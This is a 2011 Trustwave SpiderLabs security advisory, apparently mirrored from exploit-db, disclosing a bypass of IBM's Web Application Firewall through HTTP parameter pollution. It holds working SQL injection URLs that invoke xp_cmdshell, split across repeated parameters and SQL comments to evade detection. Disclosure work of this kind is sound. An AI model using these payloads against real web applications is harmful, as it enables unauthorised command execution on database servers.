IBM Web Application Firewall – Bypass

  • 作者: Trustwave's SpiderLabs
    日期: 2011-06-23
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  • 来源:https://www.exploit-db.com/exploits/17438/
  • Trustwave's SpiderLabs Security Advisory TWSL2011-006:
    IBM Web Application Firewall Bypass
    
    https://www.trustwave.com/spiderlabs/advisories/TWSL2011-006.txt
    
    Published: 2011-06-21
    Version: 1.0
    
    Vendor: IBM
    Product: IBM Web Application Firewall 
    These capabilities are included through SiteProtector 7.0 and later
    software within IBM Security Network IPS GX products, IBM Security Server
    Protection products, and IBM Security Multi-Function product lines during
    2H of 2009.
    
    Versions affected:
    Tested against G400 IPS-G400-IB-1 (Intrusion Prevention
    Update: 2011-03-11 00:34:23 - version: 31.030) and GX4004 IPS-GX4004-IB-2
    (Intrusion Prevention Update: 2011-03-10 23:49:15 - version: 31.030).
    
    Product description:
    IBM Web Application Firewall capabilities inside IBM IPS products
    complement IBM Security's portfolio of web application security offerings
    to deliver end-to-end Web application security solutions.
    
    Credit: Wendel Guglielmetti Henrique of Trustwave's SpiderLabs
    
    Finding: IBM Web Application Firewall Bypass
    
    The IBM Web Application Firewall can be evaded, allowing an attacker to
    exploit web vulnerabilities that the product intends to protect. The issue
    occurs when an attacker submits repeated occurrences of the same parameter.
    
    The example shown below uses the following environment:
    A web environment using Microsoft IIS, ASP .NET technology, Microsoft 
    SQL Server 2000, being protected by the IBM Web Application Firewall.
    
    As expected, the following request will be identified and blocked (depending 
    of configuration) by the IBM Web application firewall.
    
    http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC 
    master..xp_cmdshell "ping 10.1.1.3" --
    
    IIS with ASP.NET (and even pure ASP) technology will concatenate the contents 
    of a parameter if multiple entries are part of the request.
    
    http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC 
    master..xp_cmdshell &iid= "ping 10.1.1.3" --
    
    IIS with ASP.NET (and even pure ASP) technology will concatenate both
    entries of iid parameter, however it will include an comma "," between
    them, resulting in the following output being sent to the database.
    
    '; EXEC master..xp_cmdshell , "ping 10.1.1.3" --
    
    The request above will be identified and blocked (depending of
    configuration) by IBM Web application firewall, because it appears that
    "EXEC" and "xp_cmdshell" trigger an attack pattern.
    
    However, it is possible to split all the spaces in multiple parameters. For
    example:
    
    http://sitename/find_ta_def.aspx?id=2571&iid='; &iid= EXEC 
    &iid= master..xp_cmdshell &iid= "ping 10.1.1.3" &iid= --
    
    The above request will bypass the affected IBM Web application firewall,
    resulting in the following output being sent to the database.
    
    '; , EXEC , master..xp_cmdshell , "ping 10.1.1.3" , --
    
    However, the above SQL code will not be properly executed because of the
    comma inserted on the SQL query, to solve this situation we will use SQL
    comments.
    
    http://sitename/find_ta_def.aspx?id=2571&iid='; /*&iid=1*/ EXEC 
    /*&iid=1*/ master..xp_cmdshell /*&iid=1*/ "ping 10.1.1.3" /*&iid=1*/ --
    
    The above request will bypass IBM Web application firewall, resulting in
    the following output being sent to the database, which is a valid and
    working SQL code.
    
    '; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ "ping 10.1.1.3" /*,1*/ --
    
    The above code will execute the ping command on the Microsoft Windows
    backend, assuming the application was running with administrative
    privileges.
    
    This attack class is also referenced sometimes as HTTP Pollution Attack,
    HTTP Parameter Pollution (HPP) and HTTP Parameter Concatenation.
    
    The exploitability of this issue depends of the infrastructure (WebServer,
    Development Framework Technology, etc) technology being used.
    
    
    Remediation Steps:
    IBM has released fixes to the above issue in the "Super Tuesday" patch
    released in June. Refer to the references section of the advisory for
    further information released by IBM.
    
    Revision History:
    04/07/11 - Vulnerability disclosed
    06/16/11 - Patch released
    06/21/11 - Advisory published
    
    References:
    1. http://www.iss.net/security_center/reference/vuln/HTTP_Parameter_Abuse.htm
    2. http://xforce.iss.net/xforce/xfdb/67178
    
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